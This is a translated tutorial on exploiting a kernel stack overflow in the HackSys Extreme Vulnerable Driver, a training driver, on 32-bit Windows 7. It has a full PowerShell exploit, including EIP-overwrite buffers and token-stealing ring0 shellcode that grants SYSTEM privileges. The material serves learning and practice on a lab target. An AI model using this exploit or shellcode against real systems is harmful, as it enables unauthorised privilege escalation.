Windows exploit系列教程第十部分:内核利用程序之栈溢出

fuzzySecurity于16年更新了数篇Windows内核exp的教程,本文是内核篇的第一篇。点击查看原文

Windows exploit系列教程第十部分:内核利用程序之栈溢出

欢迎来到本系列的第十幕,自上次一别已是三年匆匆。我们这次将来一场ring0之旅,一步一步迎接新的挑战!这一幕我们将看看Windows 7(没有SMEP&SMAP)上一个普通的内核栈溢出。我们的目标虽然是32位的但这一并不意味着可以变得简单,除却一些次要的变化,在64位机上该exploit也同样生效。

我们的目标驱动是一个非常出色的项目,它由@HackSysTeam完成,他们创建了一个demo驱动,该驱动内置了一些漏洞用于实践内核漏洞的利用,棒极了!让我们开始吧。

译者注:以上包含的文章如果未译,我日后会翻译。这几篇此前看过,都是很经典的干货。

环境部署

作为第一步我想先简单的叙述调试环境的设置,这通常很痛苦。特别的,安装的目标使用Windows(这我知道,来吧!)。

首先通过上面的链接获取VirtualKD,解压然后安装target中的vminstall组件到待调试的VM。

完成后在宿主机(x86/x64)启动vmmon并重启VM。你可以看到类似这样的东西:

配置”Debugger path..”,让它指向你宿主机的WinDBG;VM重启时选择VirtualKD的boot选项,此时你可以看到它会自动attach到机器上。很简单&并不痛苦!

还差加载漏洞驱动程序。通过前面的链接获取OSR Driver Loader工具(你可能需要注册->任意邮箱)。打开OSR Loader工具,注册服务(你可能需要重启),完成以后,单击浏览,选择漏洞驱动程序并点击启动服务。如果一切顺利的话,你将会看到这样的画面:

如果你通过WinDBG连接到机器,使用”lm”命令就可以看到该驱动程序被成功加载:

也可以看看挂起IDA Pro到VirtualKD的向导。如果你没有IDA Pro,我建议你下载免费的版本,仅仅需要它的graph view。你可以手动重定向驱动基址(rebase)来保证和WinDBG中看到的一致(Edit->Segments->Rebase program)。这样一来,你可以可视化的看到当前正发生什么,哪些地址需要下断,在WinDBG中加以利用。

侦查挑战

好,就如前面提到的,我们在本文将进行栈溢出挑战。HackSysTeam提供给了我们驱动的源代码,我们也可以看看相关的部分!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}

这里展示了含有漏洞的代码,同时也给出了解决的方案。RtlCopyMemory使用一个指向kernel buffer的指针,一个input buffer的指针以及一个指定拷贝字节数的整型数。显然这里有点故事,在有漏洞的版本中,buffer尺寸是基于input buffer的尺寸,而安全版本中尺寸被严格限制到了kernel buffer的大小。如果我们调用到该函数,传递一个尺寸大于kernel buffer的input buffer,就会发现一些端倪。

好,让我们看看IDA中的IrpDeviceIoCtlHandler表,这里驱动程序比较了输入的IOCTL码,找到识别它的例程。

有相当数量的IOCTL!转到图形的左侧可以看到下面的内容:

可以看到如果IOCTL码是0x222003,我们就会转入到TriggerStackOverflow函数的调用分支。花些时间来调查一下这一switch语句。最基本的,输入IOCTL通过比较大小来进行匹配,一路递减直到找到一个合法的码值或干脆命中最后的”Invalid IOCTL…”。

看看TriggerStackOverflow函数,我们或多或少可以看到在源码中发现的内容,注意到kernel buffer长度为0x800(2048)。

Pwn! Pwn! Pwn!

我们已掌握了所有线索,下面就尝试去调用该漏洞方法,传递给它一些数据。这是我在PowerShell中编织的模板代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
$Buffer = [Byte[]](0x41)*0x100
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null

非常棒,从调试器的输出中可以看到我们调用到了目标函数。显然我们没有发送足够多的数据来触发溢出。让我们试试发送一个0x900(2304)大小的buffer。

好吧,VM蓝屏了,经过一些辅助的运算我们可以找出到EIP精准的偏移(EBP也一样)。我把这留给读者作为练习(别忘了pattern_create)。让我们修改POC代码,再次出发溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
#---[EIP control]
# 0x41 = 0x800 (buffer allocated by the driver)
# 0x42 = 28 (filler)
# 0x43 = 4 (EBP)
# 0x44 = 4 (EIP)
#---
$Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*28 + [Byte[]](0x43)*4 + [Byte[]](0x44)*4
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null

我们的代码在内核空间执行了,但是我们并不能为所欲为的执行任意shellcode。有非常多的内容值得我们尝试(例如,写一个ring3层shellcode stager),但我觉着目前最好还是做一个简单的提权攻击。

在Windows中所有的对象都有安全描述符,它们定义了在对象上谁可以执行哪些行为。有很多种tokens用于描述这些访问权限,但是”NT AUTHORITY\SYSTEM” token拥有最高权限。也就是说它可以在系统上的任何对象上执行任意行为(实际上,这非常复杂)。在最基础的层面,我们想让我们的shellcode可以做到:(1)找到当前进程的token(powershell),(2)循环遍历进程列表直到找到一个系统进程(System Process)(PID 为4,这是个静态的系统进程PID),(3)找到该进程的token,(4)用其值覆盖当前进程的token。

编写该shellcode有一点点长,你需要去查找一些静态的偏移量,我不会在这里详述。简单来说,可以查阅”x64 Kernel Privilege Escalation”一文,此外HackSysTeam驱动中也内置了一些payload示例。可以在下面看到通用的shellcode结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#---[Setup]
pushad ; Save register state
mov eax, fs:[KTHREAD_OFFSET] ; nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET] ; nt!_KTHREAD.ApcState.Process
mov ecx, eax
mov ebx, [eax + TOKEN_OFFSET] ; nt!_EPROCESS.Token
#---[Copy System PID token]
mov edx, 4 ; PID 4 -> System
mov eax, [eax + FLINK_OFFSET] <-| ; nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET |
cmp [eax + PID_OFFSET], edx | ; nt!_EPROCESS.UniqueProcessId
jnz ->| ; Loop !(PID=4)
mov edx, [eax + TOKEN_OFFSET] ; System nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace PowerShell token
#---[Recover]
popad ; Restore register state

这一解决方案是可用的但唯独缺少了一个东西。当我们触发溢出并执行shellcode后我们会搞乱堆栈。我们希望shellcode可以补偿这一遗失以保证在复制了系统进程的token后,VM不会蓝屏。

对crash的调查揭示了我们实际上在退出TriggerStackOverflow函数时只是通过覆盖返回地址来获取EIP的控制。

让我们在该地址下个断点,给驱动发送一个小的buffer使得我们可以看到在正常执行时发生了些什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x01F454A8
[+] UserBuffer Size: 0x100
[+] KernelBuffer: 0x93E933B4
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x45ce:
936045ce c20800 ret 8 <-------[Stack] 93e93bd4 936045f4 HackSysExtremeVulnerableDriver+0x45f4
93e93bd8 01f454a8
93e93bdc 00000100
93e93be0 93e93bfc
93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
HackSysExtremeVulnerableDriver+0x45f4:
936045f4 5d pop ebp <-------[Stack] 93e93be0 93e93bfc
93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
93e93be8 856cc268
HackSysExtremeVulnerableDriver+0x45f5:
936045f5 c20800 ret 8 <-------[Stack] 93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
93e93be8 856cc268
93e93bec 856cc2d8
93e93bf0 84be4a80
****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x01DE8608
[+] UserBuffer Size: 0x824
[+] KernelBuffer: 0x93B4B3B4
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x45ce:
936045ce c20800 ret 8 <-------[Stack] 93b4bbd4 44444444
93b4bbd8 01de8608
93b4bbdc 00000824
93b4bbe0 93b4bbfc
93b4bbe4 9360503d HackSysExtremeVulnerableDriver+0x503d

让我们看看栈长什么样。

很幸运,当我们做宝贵的覆盖时,这并不算太坏。当我们的shellcode执行后我们需要简单的模拟”pop ebp”和”ret 8”,这一执行流会重定向回HackSysExtremeVulnerableDriver+0x503d这一正确的地址。尽管它不是那么显而易见,我们也想清掉EAX,就好像该驱动函数返回了NTSTATUS->STATUS_SUCCESS(0x00000000)。

这可以达成欺骗效果!最终的shellcode如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p
0x5D, # pop ebp
0xC2, 0x08, 0x00 # ret 8
)

我写出汇编代码并使用Keystone引擎来编译。

大功告成

万事俱备,剩下的就是在内存中的某处分配我们的shellcode,用它的地址覆盖EIP。记着该shellcode内存应该被标记为R/W/E。完整的exploit如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p
0x5D, # pop ebp
0xC2, 0x08, 0x00 # ret 8
)
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"
# Get handle to driver
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# HACKSYS_EVD_STACKOVERFLOW IOCTL = 0x222003
#---
$Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*32 + $EIP
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null

译者注:我在本地测试时,WinDbg的输出和作者的不太一样,我是用!analyze -v来查看崩溃现场,输出的信息有点冗余,没有原作者的输出信息清爽,所以windbg部分的信息与截图保留了原作者的版本。

HEVD是我个人强烈推荐的入门Windows内核漏洞的靶场,实际上内核漏洞并不难掌握,无非就是以下两点:

  1. 调试起来没有用户态那么方便,双机联调+频繁BSOD确实很消磨耐性
  2. 如果不熟悉WRK,则容易被内核错综复杂的数据结构绕晕,一时云里雾里

HEVD从一个简单的内核驱动程序入手,展示了各种常见的漏洞,让新手可以绕开复杂的Windows内核,掌握内核漏洞的利用。

点击查看原文

文章目录
  1. 1. Windows exploit系列教程第十部分:内核利用程序之栈溢出
    1. 1.1. 环境部署
    2. 1.2. 侦查挑战
    3. 1.3. Pwn! Pwn! Pwn!
    4. 1.4. 大功告成
,